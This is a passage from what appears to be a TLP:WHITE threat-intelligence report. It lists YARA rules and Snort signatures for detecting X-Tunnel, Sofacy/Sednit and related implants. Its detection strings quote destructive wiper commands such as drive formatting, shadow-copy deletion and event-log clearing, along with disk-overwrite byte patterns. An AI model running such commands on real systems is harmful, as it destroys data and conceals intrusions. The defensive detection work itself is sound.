43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 30 00 34 00 00 00 00 00 6A 00 25 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 AE 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 AE 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 44 00 00 00 25 of 56 25 of 56 TLP:WHITE TLP:WHITE 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04} condition: (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (((any of ($a*)) and (uint32(uint32(0x3C)+8) == 0x00000000)) or (for any of ($b*): ($ in (uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)1)+20))..(uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)1)+20))+uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)-1)+16))))))) Rule IMPLANT_4_v4 strings: $DK_format1 = "/c format %c: /Y /Q" ascii $DK_format2 = "/c format %c: /Y /X /FS:NTFS" ascii $DK_physicaldrive = "PhysicalDrive%d" wide $DK_shutdown = "shutdown /r /t %d" $MZ = {4d 5a} condition: $MZ at 0 and all of ($DK*) Rule IMPLANT_4_v5 strings: $GEN_HASH = {0F BE C9 C1 C0 07 33 C1} condition: 26 of 56 26 of 56 TLP:WHITE TLP:WHITE (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Rule IMPLANT_4_v6 strings: $STR1 = "DispatchCommand" wide ascii $STR2 = "DispatchEvent" wide ascii condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Rule IMPLANT_4_v7 strings: $sb1 = {C7 [1-5] 33 32 2E 64 C7 [1-5] 77 73 32 5F 66 C7 [1-5] 6C 6C} $sb2 = {C7 [1-5] 75 73 65 72 C7 [1-5] 33 32 2E 64 66 C7 [1-5] 6C 6C} $sb3 = {C7 [1-5] 61 64 76 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C} $sb4 = {C7 [1-5] 77 69 6E 69 C7 [1-5] 6E 65 74 2E C7 [1-5] 64 6C 6C} $sb5 = {C7 [1-5] 73 68 65 6C C7 [1-5] 6C 33 32 2E C7 [1-5] 64 6C 6C} $sb6 = {C7 [1-5] 70 73 61 70 C7 [1-5] 69 2E 64 6C 66 C7 [1-5] 6C} $sb7 = {C7 [1-5] 6E 65 74 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C} $sb8 = {C7 [1-5] 76 65 72 73 C7 [1-5] 69 6F 6E 2E C7 [1-5] 64 6C 6C} $sb9 = {C7 [1-5] 6F 6C 65 61 C7 [1-5] 75 74 33 32 C7 [1-5] 2E 64 6C 6C} $sb10 = {C7 [1-5] 69 6D 61 67 C7 [1-5] 65 68 6C 70 C7 [1-5] 2E 64 6C 6C} 27 of 56 27 of 56 TLP:WHITE TLP:WHITE condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and 3 of them Rule IMPLANT_4_v8 strings: $f1 = {5E 81 EC 04 01 00 00 8B D4 68 04 01 00 00 52 6A 00 FF 57 1C 8B D4 33 C9 03 D0 4A 41 3B C8 74 05 80 3A 5C 75 F5 42 81 EC 04 01 00 00 8B DC 52 51 53 68 04 01 00 00 FF 57 20 59 5A 66 C7 04 03 5C 20 56 57 8D 3C 03 8B F2 F3 A4 C6 07 00 5F 5E 33 C0 50 68 80 00 00 00 6A 02 50 50 68 00 00 00 40 53 FF 57 14 53 8B 4F 4C 8B D6 33 DB 30 1A 42 43 3B D9 7C F8 5B 83 EC 04 8B D4 50 6A 00 52 FF 77 4C 8B D6 52 50 FF 57 24 FF 57 18} $f2 = {5E 83 EC 1C 8B 45 08 8B 4D 08 03 48 3C 89 4D E4 89 75 EC 8B 45 08 2B 45 10 89 45 E8 33 C0 89 45 F4 8B 55 0C 3B 55 F4 0F 86 98 00 00 00 8B 45 EC 8B 4D F4 03 48 04 89 4D F4 8B 55 EC 8B 42 04 83 E8 08 D1 E8 89 45 F8 8B 4D EC 83 C1 08 89 4D FC} $f3 = {5F 8B DF 83 C3 60 2B 5F 54 89 5C 24 20 8B 44 24 24 25 00 00 FF FF 66 8B 18 66 81 FB 4D 5A 74 07 2D 00 00 01 00 EB EF 8B 48 3C 03 C8 66 8B 19 66 81 FB 50 45 75 E0 8B E8 8B F7 83 EC 60 8B FC B9 60 00 00 00 F3 A4 83 EF 60 6A 0D 59 E8 88 00 00 00 E2 F9 68 6C 33 32 00 68 73 68 65 6C 54 FF 57} $a1 = {83 EC 04 60 E9 1E 01 00 00} condition: $a1 at entrypoint or any of ($f*) Rule IMPLANT_4_v9 strings: $a = "wevtutil clear-log" ascii wide nocase $b = "vssadmin delete shadows" ascii wide nocase 28 of 56 28 of 56 TLP:WHITE TLP:WHITE $c = "AGlobal\\23d1a259-88fa-41df-935f-cae523bab8e6" ascii wide nocase $d = "Global\\07fd3ab3-0724-4cfd-8cc2-60c0e450bb9a" ascii wide nocase //$e = {57 55 33 c9 51 8b c3 99 57 52 50} $openPhysicalDiskOverwriteWithZeros = { 57 55 33 C9 51 8B C3 99 57 52 50 E8 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 83 C4 10 84 C0 75 21 33 C0 89 44 24 10 89 44 24 14 6A 01 8B C7 99 8D 4C 24 14 51 52 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 0B 83 C3 01 81 FB 00 01 00 00 7C B6 } $f = {83 c4 0c 53 53 6a 03 53 6a 03 68 00 00 00 c0} condition: ($a and $b) or $c or $d or ($openPhysicalDiskOverwriteWithZeros and $f) Rule IMPLANT_4_v10 strings: $ = {A1B05C72} $ = {EB3D0384} $ = {6F45594E} $ = {71815A4E} $ = {D5B03E72} $ = {6B43594E} $ = {F572993D} $ = {665D9DC0} $ = {0BE7A75A} $ = {F37443C5} $ = {A2A474BB} $ = {97DEEC67} $ = {7E0CB078} 29 of 56 29 of 56 TLP:WHITE TLP:WHITE $ = {9C9678BF} $ = {4A37A149} $ = {8667416B} $ = {0A375BA4} $ = {DC505A8D} $ = {02F1F808} $ = {2C819712} condition: uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550 and 15 of them Rule IMPLANT_4_v11 strings: $ = "/c format %c: /Y /X /FS:NTFS" $ = ".exe.sys.drv.doc.docx.xls.xlsx.mdb.ppt.pptx.xml.jpg.jpeg.ini.inf.ttf" wide $ = ".dll.exe.xml.ttf.nfo.fon.ini.cfg.boot.jar" wide ".crt.bin.exe.db.dbf.pdf.djvu.doc.docx.xls.xlsx.jar.ppt.pptx.tib.vhd.iso.lib.mdb.accdb.sql.mdf.xml.rtf.ini.cf g.boot.txt.rar.msi.zip.jpg.bmp.jpeg.tiff" wide $tempfilename = "%ls_%ls_%ls_%d.~tmp" ascii wide condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and 2 of them Rule IMPLANT_4_v12 30 of 56 30 of 56 TLP:WHITE TLP:WHITE strings: $CMP1 = {81 ?? 4D 5A 00 00 } $SUB1 = {81 ?? 00 10 00 00} $CMP2 = {66 81 38 4D 5A} $SUB2 = {2D 00 10 00 00} $HAL = "HAL.dll" $OUT = {E6 64 E9 ?? ?? FF FF} condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and ($CMP1 or $CMP2) and ($SUB1 or $SUB2) and $OUT and $HAL Rule IMPLANT_4_v13 strings: $XMLDOM1 = {81 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60} $XMLDOM2 = {90 BF 33 29 36 7B D2 11 B2 0E 00 C0 4F 98 3E 60} $XMLPARSE = {8B 06 [0-2] 8D 55 ?C 52 FF 75 08 [0-2] 50 FF 91 04 01 00 00 66 83 7D ?C FF 75 3? 8B 06 [0-2] 8D 55 F? 52 50 [0-2] FF 51 30 85 C0 78 2?} $EXP1 = "DispatchCommand" $EXP2 = "DispatchEvent" $BDATA = {85 C0 74 1? 0F B7 4? 06 83 C? 28 [0-6] 72 ?? 33 C0 5F 5E 5B 5D C2 08 00 8B 4? 0? 8B 4? 0? 89 01 8B 4? 0C 03 [0-2] EB E?} condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them 31 of 56 31 of 56 TLP:WHITE TLP:WHITE The following YARA rules detect X-Tunnel, referred to as IMPLANT 5 with rule naming convention. IMPLANT 5 Rules: Rule IMPLANT_5_v1 strings: $hexstr = {2D 00 53 00 69 00 00 00 2D 00 53 00 70 00 00 00 2D 00 55 00 70 00 00 00 2D 00 50 00 69 00 00 00 2D 00 50 00 70 00 00 00} $UDPMSG1 = "error 2005 recv from server UDP - %d\x0a" $TPSMSG1 = "error 2004 send to TPS - %d\x0a" $TPSMSG2 = "error 2003 recv from TPS - %d\x0a" $UDPMSG2 = "error 2002 send to server UDP - %d\x0a" condition: any of them Rule IMPLANT_5_v2 strings: $key0 = { 987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 } $key1 = { 8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 } $key2 = { E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 } $key3 = { 48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 } $key4 = { FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 } $key5 = { 34F1AE17017AF16021ADA5CE3F77675BBC6E7DEC6478D6078A0B22E5FDFF3B31 } 32 of 56 32 of 56 TLP:WHITE TLP:WHITE $key6 = { F0EA48F164395186E6F754256EBB812A2AFE168E77ED9501F8B8E6F5B72126A7 } $key7 = { 0B6E9970A8EAF68EE14AB45005357A2F3391BEAA7E53AB760B916BC2B3916ABE } $key8 = { FF032EA7ED2436CF6EEA1F741F99A3522A61FDA8B5A81EC03A8983ED1AEDAB1A } $key9 = { F0DAC1DDFEF7AC6DE1CBE1006584538FE650389BF8565B32E0DE1FFACBCB14BB } $key10 = { A5D699A3CD4510AF11F1AF767602055C523DF74B94527D74319D6EFC6883B80D } $key11 = { 5951B02696C1D5A7B2851D28872384DA607B25F4CEA268FF3FD7FBA75AB3B4B3 } $key12 = { 0465D99B26AF42D8346001BB838595E301BAD8CF5D40CE9C17C944717DF82481 } $key13 = { 5DFE1C83AD5F5CE1BF5D9C42E23225E3ECFDB2493E80E6554A2AC7C722EB4880 } $key14 = { E9650396C45F7783BC14C59F46EA8232E8357C26B5627BFF8C42C6AE2E0F2E17 } $key15 = { 7432AE389125BB4E3980ED7F6A6FB252A42E785A90F4591C3620CA642FF97CA3 } $key16 = { 2B2ADBBC4F960A8916F7088067BAD30BE84B65783FBF9476DF5FDA0E5856B183 } $key17 = { 808C3FD0224A59384161B8A81C8BB404D7197D16D8118CB77067C5C8BD764B3E } $key18 = { 028B0E24D5675C16C815BFE4A073E9778C668E65771A1CE881E2B03F58FC7D5B } $key19 = { 878B7F5CF2DC72BAF1319F91A4880931EE979665B1B24D3394FE72EDFAEF4881 } $key20 = { 7AC7DD6CA34F269481C526254D2F563BC6ECA1779FEEAA33EC1C20E60B686785 } $key21 = { 3044F1D394186815DD8E3A2BBD9166837D07FA1CF6A550E2C170C9CDD9305209 } $key22 = { 7544DC095C441E39D258648FE9CB1267D20D83C8B2D3AB734474401DA4932619 } $key23 = { D702223347406C1999D1A9829CBBE96EC86D377A40E2EE84562EA1FAC1C71498 } $key24 = { CA36CB1177382A1009D392A58F7C1357E94AD2292CC0AE82EE4F7DB0179148E1 } $key25 = { C714F23E4C1C4E55F0E1FA7F5D0DD64658A86F84681D07576D840784154F65DC } $key26 = { 63571BAF736904634AFEE2A70CB9ED64615DE8CA7AEF21E773286B8877D065DB } $key27 = { 27808A9BE98FFE348DE1DB999AC9FDFB26E6C5A0D5E688490EF3D186C43661EB } $key28 = { B6EB86A07A85D40866AFA100789FFB9E85C13F5AA7C7A3B6BA753C7EAB9D6A62 } $key29 = { 88F0020375D60BDB85ACDBFE4BD79CD098DB2B3FA2CEF55D4331DBEFCE455157 } $key30 = { 36535AAB296587AE1162AC5D39492DD1245811C72706246A38FF590645AA5D7B } $key31 = { FDB726261CADD52E10818B49CAB81BEF112CB63832DAA26AD9FC711EA6CE99A4 } $key32 = { 86C0CAA26D9FD07D215BC7EB14E2DA250E905D406AFFAB44FB1C62A2EAFC4670 } $key33 = { BC101329B0E3A7D13F6EBC535097785E27D59E92D449D6D06538725034B8C0F0 } 33 of 56 33 of 56 TLP:WHITE TLP:WHITE $key34 = { C8D31A78B7C149F62F06497F9DC1DDC4967B566AC52C3A2A65AC7A99643B8A2D } $key35 = { 0EA4A5C565EFBB94F5041392C5F0565B6BADC630D9005B3EADD5D81110623E1F } $key36 = { 06E4E46BD3A0FFC8A4125A6A02B0C56D5D8B9E378CF97539CE4D4ADFAF89FEB5 } $key37 = { 6DE22040821F0827316291331256A170E23FA76E381CA7066AF1E5197AE3CFE7 } $key38 = { C6EF27480F2F6F40910074A45715143954BBA78CD74E92413F785BBA5B2AA121 } $key39 = { 19C96A28F8D9698ADADD2E31F2426A46FD11D2D45F64169EDC7158389BFA59B4 } $key40 = { C3C3DDBB9D4645772373A815B5125BB2232D8782919D206E0E79A6A973FF5D36 } $key41 = { C33AF1608037D7A3AA7FB860911312B4409936D236564044CFE6ED42E54B78A8 } $key42 = { 856A0806A1DFA94B5E62ABEF75BEA3B657D9888E30C8D2FFAEC042930BBA3C90 } $key43 = { 244496C524401182A2BC72177A15CDD2EF55601F1D321ECBF2605FFD1B9B8E3F } $key44 = { DF24050364168606D2F81E4D0DEB1FFC417F1B5EB13A2AA49A89A1B5242FF503 } $key45 = { 54FA07B8108DBFE285DD2F92C84E8F09CDAA687FE492237F1BC4343FF4294248 } $key46 = { 23490033D6BF165B9C45EE65947D6E6127D6E00C68038B83C8BFC2BCE905040C } $key47 = { 4E044025C45680609B6EC52FEB3491130A711F7375AAF63D69B9F952BEFD5F0C } $key48 = { 019F31C5F5B2269020EBC00C1F511F2AC23E9D37E89374514C6DA40A6A03176C } $key49 = { A2483197FA57271B43E7276238468CFB8429326CBDA7BD091461147F642BEB06 } $key50 = { 731C9D6E74C589B7ACB019E5F6A6E07ACF12E68CB9A396CE05AA4D69D5387048 } $key51 = { 540DB6C8D23F7F7FEF9964E53F445F0E56459B10E931DEEEDB2B57B063C7F8B7 } $key52 = { D5AF80A7EEFF26DE988AC3D7CE23E62568813551B2133F8D3E973DA15E355833 } $key53 = { E4D8DBD3D801B1708C74485A972E7F00AFB45161C791EE05282BA68660FFBA45 } $key54 = { D79518AF96C920223D687DD596FCD545B126A678B7947EDFBF24661F232064FB } $key55 = { B57CAA4B45CA6E8332EB58C8E72D0D9853B3110B478FEA06B35026D7708AD225 } $key56 = { 077C714C47DFCF79CA2742B1544F4AA8035BB34AEA9D519DEE77745E01468408 } $key57 = { C3F5550AD424839E4CC54FA015994818F4FB62DE99B37C872AF0E52C376934FA } $key58 = { 5E890432AE87D0FA4D209A62B9E37AAEDEDC8C779008FEBAF9E4E6304D1B2AAC } $key59 = { A42EDE52B5AF4C02CFE76488CADE36A8BBC3204BCB1E05C402ECF450071EFCAB } $key60 = { 4CDAFE02894A04583169E1FB4717A402DAC44DA6E2536AE53F5F35467D31F1CA } $key61 = { 0BEFCC953AD0ED6B39CE6781E60B83C0CFD166B124D1966330CBA9ADFC9A7708 } 34 of 56 34 of 56 TLP:WHITE TLP:WHITE $key62 = { 8A439DC4148A2F4D5996CE3FA152FF702366224737B8AA6784531480ED8C8877 } $key63 = { CF253BE3B06B310901FF48A351471374AD35BBE4EE654B72B860F2A6EC7B1DBB } $key64 = { A0599F50C4D059C5CFA16821E97C9596B1517B9FB6C6116F260415127F32CE1F } $key65 = { 8B6D704F3DC9150C6B7D2D54F9C3EAAB14654ACA2C5C3952604E65DF8133FE0C } $key66 = { A06E5CDD3871E9A3EE17F7E8DAE193EE47DDB87339F2C599402A78C15D77CEFD } $key67 = { E52ADA1D9BC4C089DBB771B59904A3E0E25B531B4D18B58E432D4FA0A41D9E8A } $key68 = { 4778A7E23C686C171FDDCCB8E26F98C4CBEBDF180494A647C2F6E7661385F05B } $key69 = { FE983D3A00A9521F871ED8698E702D595C0C7160A118A7630E8EC92114BA7C12 } $key70 = { 52BA4C52639E71EABD49534BBA80A4168D15762E2D1D913BAB5A5DBF14D9D166 } $key71 = { 931EB8F7BC2AE1797335C42DB56843427EB970ABD601E7825C4441701D13D7B1 } $key72 = { 318FA8EDB989672DBE2B5A74949EB6125727BD2E28A4B084E8F1F50604CCB735 } $key73 = { 5B5F2315E88A42A7B59C1B493AD15B92F819C021BD70A5A6619AAC6666639BC2 } $key74 = { C2BED7AA481951FEB56C47F03EA38236BC425779B2FD1F1397CB79FE2E15C0F0 } $key75 = { D3979B1CB0EC1A655961559704D7CDC019253ACB2259DFB92558B7536D774441 } $key76 = { 0EDF5DBECB772424D879BBDD51899D6AAED736D0311589566D41A9DBB8ED1CC7 } $key77 = { CC798598F0A9BCC82378A5740143DEAF1A147F4B2908A197494B7202388EC905 } $key78 = { 074E9DF7F859BF1BD1658FD2A86D81C282000EAB09AF4252FAB45433421D3849 } $key79 = { 6CD540642E007F00650ED20D7B54CFFD54DDA95D8DEBB087A004BAE222F22C8E } $key80 = { C76CF2F66C71F6D17FC8DEFA1CAEF8718BA1CE188C7EA02C835A0FA54D3B3314 } $key81 = { A7250A149600E515C9C40FE5720756FDA8251635A3B661261070CB5DABFE7253 } $key82 = { 237C67B97D4CCE4610DE2B82E582808EA796C34A4C24715C953CBA403B2C935E } $key83 = { A8FA182547E66B57C497DAAA195A38C0F0FB0A3C1F7B98B4B852F5F37E885127 } $key84 = { 83694CCA50B821144FFBBE6855F62845F1328111AE1AC5666CBA59EB43AA12C6 } $key85 = { 145E906416B17865AD37CD022DF5481F28C930D6E3F53C50B0953BF33F4DB953 } $key86 = { AB49B7C2FA3027A767F5AA94EAF2B312BBE3E89FD924EF89B92A7CF977354C22 } $key87 = { 7E04E478340C209B01CA2FEBBCE3FE77C6E6169F0B0528C42FA4BDA6D90AC957 } $key88 = { 0EADD042B9F0DDBABA0CA676EFA4EDB68A045595097E5A392217DFFC21A8532F } $key89 = { 5623710F134ECACD5B70434A1431009E3556343ED48E77F6A557F2C7FF46F655 } 35 of 56 35 of 56 TLP:WHITE TLP:WHITE $key90 = { 6968657DB62F4A119F8E5CB3BF5C51F4B285328613AA7DB9016F8000B576561F } $key91 = { DEBB9C95EAE6A68974023C335F8D2711135A98260415DF05845F053AD65B59B4 } $key92 = { 16F54900DBF08950F2C5835153AB636605FB8C09106C0E94CB13CEA16F275685 } $key93 = { 1C9F86F88F0F4882D5CBD32876368E7B311A84418692D652A6A4F315CC499AE8 } $key94 = { E920E0783028FA05F4CE2D6A04BBE636D56A775CFD4DAEA3F2A1B8BEEB52A6D4 } $key95 = { 73874CA3AF47A8A315D50E1990F44F655EC7C15B146FFE0611B6C4FC096BD07C } $key96 = { F21C1FA163C745789C53922C47E191A5A85301BDC2FFC3D3B688CFBFF39F3BE5 } $key97 = { BC5A861F21CB98BD1E2AE9650B7A0BB4CD0C71900B3463C1BC3380AFD2BB948E } $key98 = { 151BAE36E646F30570DC6A7B57752F2481A0B48DD5184E914BCF411D8AD5ACA0 } $key99 = { F05AD6D7A0CADC10A6468BFDBCBB223D5BD6CA30EE19C239E8035772D80312C9 } $key100 = { 5DE9A0FDB37C0D59C298577E5379BCAF4F86DF3E9FA17787A4CEFA7DD10C462E } $key101 = { F5E62BA862380224D159A324D25FD321E5B35F8554D70CF9A506767713BCA508 } $key102 = { A2D1B10409B328DA0CCBFFDE2AD2FF10855F95DA36A1D3DBA84952BB05F8C3A7 } $key103 = { C974ABD227D3AD339FAC11C97E11D904706EDEA610B181B8FAD473FFCC36A695 } $key104 = { AB5167D2241406C3C0178D3F28664398D5213EE5D2C09DCC9410CB604671F5F1 } $key105 = { C25CC4E671CAAA31E137700A9DB3A272D4E157A6A1F47235043D954BAE8A3C70 } $key106 = { E6005757CA0189AC38F9B6D5AD584881399F28DA949A0F98D8A4E3862E20F715 } $key107 = { 204E6CEB4FF59787EF4D5C9CA5A41DDF4445B9D8E0C970B86D543E9C7435B194 } $key108 = { 831D7FD21316590263B69E095ABBE89E01A176E16AE799D83BD774AF0D254390 } $key109 = { 42C36355D9BC573D72F546CDB12E6BB2CFE2933AC92C12040386B310ABF6A1ED } $key110 = { B9044393C09AD03390160041446BF3134D864D16B25F1AB5E5CDC690C4677E7D } $key111 = { 6BC1102B5BE05EEBF65E2C3ACA1F4E17A59B2E57FB480DE016D371DA3AEF57A5 } $key112 = { B068D00B482FF73F8D23795743C76FE8639D405EE54D3EFB20AFD55A9E2DFF4E } $key113 = { 95CF5ADDFE511C8C7496E3B75D52A0C0EFE01ED52D5DD04D0CA6A7ABD3A6F968 } $key114 = { 75534574A4620019F8E3D055367016255034FA7D91CBCA9E717149441742AC8D } $key115 = { 96F1013A5301534BE424A11A94B740E5EB3A627D052D1B769E64BAB6A666433C } $key116 = { 584477AB45CAF729EE9844834F84683ABECAB7C4F7D23A9636F54CDD5B8F19B3 } $key117 = { D3905F185B564149EE85CC3D093477C8FF2F8CF601C68C38BBD81517672ECA3A } 36 of 56 36 of 56 TLP:WHITE TLP:WHITE $key118 = { BF29521A7F94636D1930AA236422EB6351775A523DE68AF9BF9F1026CEDA618D } $key119 = { 04B3A783470AF1613A9B849FBD6F020EE65C612343EB1C028B2C28590789E60B } $key120 = { 3D8D8E84977FE5D21B6971D8D873E7BED048E21333FE15BE2B3D1732C7FD3D04 } $key121 = { 8ACB88224B6EF466D7653EB0D8256EA86D50BBA14FD05F7A0E77ACD574E9D9FF } $key122 = { B46121FFCF1565A77AA45752C9C5FB3716B6D8658737DF95AE8B6A2374432228 } $key123 = { A4432874588D1BD2317224FB371F324DD60AB25D4191F2F01C5C13909F35B943 } $key124 = { 78E1B7D06ED2A2A044C69B7CE6CDC9BCD77C19180D0B082A671BBA06507349C8 } $key125 = { 540198C3D33A631801FE94E7CB5DA3A2D9BCBAE7C7C3112EDECB342F3F7DF793 } $key126 = { 7E905652CAB96ACBB7FEB2825B55243511DF1CD8A22D0680F83AAF37B8A7CB36 } $key127 = { 37218801DBF2CD92F07F154CD53981E6189DBFBACAC53BC200EAFAB891C5EEC8 } condition: any of them Rule IMPLANT_5_v3 strings: $BYTES1 = { 0F AF C0 6? C0 07 00 00 00 2D 01 00 00 00 0F AF ?? 39 ?8 } $BYTES2 = { 0F AF C0 6? C0 07 48 0F AF ?? 39 ?8 } condition: any of them Rule IMPLANT_5_v4 strings: $FBKEY1 = { 987AB999FE0924A2DF0A412B14E26093746FCDF9BA31DC05536892C33B116AD3 } $FBKEY2 = { 8B236C892D902B0C9A6D37AE4F9842C3070FBDC14099C6930158563C6AC00FF5 } 37 of 56 37 of 56 TLP:WHITE TLP:WHITE $FBKEY3 = { E47B7F110CAA1DA617545567EC972AF3A6E7B4E6807B7981D3CFBD3D8FCC3373 } $FBKEY4 = { 48B284545CA1FA74F64FDBE2E605D68CED8A726D05EBEFD9BAAC164A7949BDC1 } $FBKEY5 = { FB421558E30FCCD95FA7BC45AC92D2991C44072230F6FBEAA211341B5BF2DC56 } condition: all of them Network Indicators for Implant 5 alert tcp any any -> any [$HTTP_PORTS,44300] (msg:"X Tunnel_HTTP_CONNECT_HANDSHAKE"; flow:established,to_server; dsize:4; content:"|00 00 00|"; offset:1; depth:3; byte_test:1,<,96,0; content:!"HTTP";) alert tcp any any -> any 443 (msg:"X Tunnel_UPSTREAM_CONNECTION_EVENT"; flow:established,to_server; stream_size:either,=,20; content:"|02 00 00 10|"; depth:4;) The following YARA rules detect Sofacy, Sednit, EVILTOSS, referred to as IMPLANT 6 with rule naming convention. IMPLANT 6 Rules: Rule IMPLANT_6_v1 strings: $STR1 = "dll.dll" wide ascii $STR2 = "Init1" wide ascii $STR3 = "netui.dll" wide ascii condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them 38 of 56 38 of 56 TLP:WHITE TLP:WHITE Rule IMPLANT_6_v2 strings: $obf_func = { 8B 45 F8 6A 07 03 C7 33 D2 89 45 E8 8D 47 01 5B 02 4D 0F F7 F3 6A 07 8A 04 32 33 D2 F6 E9 8A C8 8B C7 F7 F3 8A 44 3E FE 02 45 FC 02 0C 32 B2 03 F6 EA 8A D8 8D 47 FF 33 D2 5F F7 F7 02 5D 14 8B 45 E8 8B 7D F4 C0 E3 06 02 1C 32 32 CB 30 08 8B 4D 14 41 47 83 FF 09 89 4D 14 89 7D F4 72 A1 } condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Rule IMPLANT_6_v3 strings: $deob_func = { 8D 46 01 02 D1 83 E0 07 8A 04 38 F6 EA 8B D6 83 E2 07 0A 04 3A 33 D2 8A 54 37 FE 03 D3 03 D1 D3 EA 32 C2 8D 56 FF 83 E2 07 8A 1C 3A 8A 14 2E 32 C3 32 D0 41 88 14 2E 46 83 FE 0A 7C ?? } condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Rule IMPLANT_6_v4 strings: $ASM = {53 5? 5? [6-15] ff d? 8b ?? b? a0 86 01 00 [7-13] ff d? ?b [6-10] c0 [0-1] c3} 39 of 56 39 of 56 TLP:WHITE TLP:WHITE condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Rule IMPLANT_6_v5 strings: $STR1 = { 83 EC 18 8B 4C 24 24 B8 AB AA AA AA F7 E1 8B 44 24 20 53 55 8B EA 8D 14 08 B8 AB AA AA AA 89 54 24 1C F7 E2 56 8B F2 C1 ED 02 8B DD 57 8B 7C 24 38 89 6C 24 1C C1 EE 02 3B DE 89 5C 24 18 89 74 24 20 0F 83 CF 00 00 00 8D 14 5B 8D 44 12 FE 89 44 24 10 3B DD 0F 85 CF 00 00 00 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA 83 F9 06 89 4C 24 38 0F 83 86 00 00 00 8A C3 B2 06 F6 EA 8B 54 24 10 88 44 24 30 8B 44 24 2C 8D 71 02 03 D0 89 54 24 14 8B 54 24 10 33 C0 8A 44 37 FE 03 D6 8B D8 8D 46 FF 0F AF DA 33 D2 BD 06 00 00 00 F7 F5 C1 EB 07 8A 04 3A 33 D2 32 D8 8D 46 01 F7 F5 8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5 8A 04 3A 22 C8 8B 44 24 14 02 D9 8A 0C 30 32 CB 88 0C 30 8B 4C 24 38 41 46 83 FE 08 89 4C 24 38 72 A1 8B 5C 24 18 8B 6C 24 1C 8B 74 24 20 8B 4C 24 10 43 83 C1 06 3B DE 89 4C 24 10 8B 4C 24 34 89 5C 24 18 0F 82 3C FF FF FF 3B DD 75 1A 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA EB 0D 33 C9 89 4C 24 38 E9 40 FF FF FF 33 C9 8B 44 24 24 33 D2 BE 06 00 00 00 89 4C 24 38 F7 F6 3B CA 89 54 24 24 0F 83 95 00 00 00 8A C3 B2 06 F6 EA 8D 1C 5B 88 44 24 30 8B 44 24 2C 8D 71 02 D1 E3 89 5C 24 34 8D 54 03 FE 89 54 24 14 EB 04 8B 5C 24 34 33 C0 BD 06 00 00 00 8A 44 3E FE 8B D0 8D 44 1E FE 0F AF D0 C1 EA 07 89 54 24 2C 8D 46 FF 33 D2 BB 06 00 00 00 F7 F3 8B 5C 24 2C 8A 04 3A 33 D2 32 D8 8D 46 01 F7 F5 8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5 8A 04 3A 22 C8 8B 44 24 14 02 D9 8A 0C 06 32 CB 88 0C 06 8B 4C 24 38 8B 44 24 24 41 46 3B C8 89 4C 24 38 72 8F 5F 5E 5D 5B 83 C4 18 C2 10 00 } condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or 